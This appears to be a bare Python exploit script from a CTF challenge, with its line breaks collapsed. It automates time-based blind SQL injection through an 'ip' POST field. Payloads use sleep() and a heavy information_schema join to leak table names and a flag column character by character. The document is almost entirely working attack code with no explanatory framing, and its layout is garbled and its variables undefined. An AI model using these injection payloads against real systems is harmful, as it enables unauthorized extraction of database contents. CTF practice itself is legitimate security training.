defflag(): flag='' for i in range(1,15): for j in range(32,127): # payload = f"1 or if(ascii(substr(database(),{i},1))={j},sleep(3),1)" payload = f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{i},1))={j},sleep(1),1)" # print(payload) data={ "ip":payload, "debug":1 } start_time = time.time() exp = requests.post(url=url,data=data) # print(data) if time.time()- start_time >1: flag+=chr(j) print("[*]Tables:",flag) break else: pass
flag = '' for i in range(1,100): low=32 high=128 mid=(low+high)//2 while low<high: payload=f"0)or if((ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))>{mid}),(SELECT count(*) FROM information_schema.columns A,information_schema.columns B),0)#" data={ "ip":payload, "debug":0 } time1=time.time() r=requests.post(url,data=data) time2=time.time() time.sleep(0.5) print(time2-time1) print(low,mid,high)
if time2-time1>0.5: low=mid+1 else: high=mid mid=(low+high)//2 flag+=chr(mid) print(flag) if mid==32: print(flag) break